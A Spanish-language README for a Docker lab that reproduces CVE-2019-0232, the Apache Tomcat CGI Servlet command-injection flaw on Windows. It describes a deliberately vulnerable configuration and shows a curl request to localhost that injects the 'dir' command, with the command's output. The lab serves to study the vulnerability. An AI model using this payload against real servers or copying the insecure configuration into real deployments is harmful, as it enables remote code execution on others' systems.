
Entorno de laboratorio basado en Docker para reproducir CVE-2019-0232, una vulnerabilidad de ejecución remota de código en Apache Tomcat CGI Servlet en Windows, con ejemplos de explotación.
Este repositorio proporciona un entorno de laboratorio basado en Docker para reproducir la vulnerabilidad CVE-2019-0232 en Apache Tomcat 9.0.17 en Windows.
CVE-2019-0232 es una vulnerabilidad de ejecución remota de código en el Servlet CGI de Apache Tomcat cuando se ejecuta en Windows. El problema surge debido al manejo inadecuado de los argumentos de línea de comandos cuando el parámetro enableCmdLineArguments está configurado como true. Un atacante puede pasar argumentos arbitrarios al script CGI a través de la cadena de consulta, lo que lleva a la ejecución de comandos del sistema.
enableCmdLineArguments=true en la configuración del servlet CGItomcat-cgi-lab
├── docker-compose.yml
├── Dockerfile
└── tomcat
├── apache-tomcat-9.0.17-windows-x64.zip
└── apache-tomcat-9.0.17
├── conf
│ └── context.xml ← (privileged="true")
└── webapps
└── ROOT
└── WEB-INF
├── web.xml ← (Configuración CGI)
└── cgi-bin
└── test.bat ← (Script .bat)
privileged="true" para permitir que la aplicación web use el servlet CGI.enableCmdLineArguments=true y lo mapea a /cgi-bin/*.docker-compose build --no-cache
docker-compose up -d
curl -i "http://localhost:8080/cgi-bin/test.bat?&dir"
Welcome to CGI Test Page
Volume in drive C has no label.
Volume Serial Number is 3E70-7C38
Directory of C:\apache-tomcat-9.0.17\webapps\ROOT\WEB-INF\cgi-bin
07/12/2026 11:45 AM <DIR> .
07/12/2026 11:45 AM <DIR> ..
07/12/2026 12:25 PM 78 test.bat
1 File(s) 78 bytes
2 Dir(s) 136,027,971,584 bytes free